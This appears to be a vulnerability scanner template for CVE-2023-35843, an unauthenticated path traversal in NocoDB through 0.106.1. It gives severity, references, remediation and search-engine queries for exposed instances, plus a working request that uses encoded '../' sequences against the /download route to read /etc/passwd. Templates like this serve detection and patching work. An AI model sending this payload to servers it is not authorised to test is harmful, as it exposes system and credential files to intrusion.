NocoDB version <= 0.106.1 - Arbitrary File Read

id: CVE-2023-35843

info:
  name: NocoDB version <= 0.106.1 - Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: |
    NocoDB through 0.106.1 has a path traversal vulnerability that allows an unauthenticated attacker to access arbitrary files on the server by manipulating the path parameter of the /download route. This vulnerability could allow an attacker to access sensitive files and data on the server, including configuration files, source code, and other sensitive information.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive information, potentially exposing user credentials, database contents, and other confidential data.
  remediation: |
    Upgrade NocoDB to a version higher than 0.106.1 to mitigate the vulnerability.
  reference:
    - https://advisory.dw1.io/60
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35843
    - https://github.com/nocodb/nocodb/blob/6decfa2b20c28db9946bddce0bcb1442b683ecae/packages/nocodb/src/lib/controllers/attachment.ctl.ts#L62-L74
    - https://github.com/nocodb/nocodb/blob/f7ee7e3beb91d313a159895d1edc1aba9d91b0bc/packages/nocodb/src/controllers/attachments.controller.ts#L55-L66
    - https://github.com/0x783kb/Security-operation-book
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-35843
    cwe-id: CWE-22
    epss-score: 0.08875
    epss-percentile: 0.94587
    cpe: cpe:2.3:a:nocodb:nocodb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nocodb
    product: nocodb
    shodan-query: http.favicon.hash:-2017596142
    fofa-query: icon_hash=-2017596142
  tags: cve2023,cve,nocodb,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download/{{repeat('..%2F', 5)}}etc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
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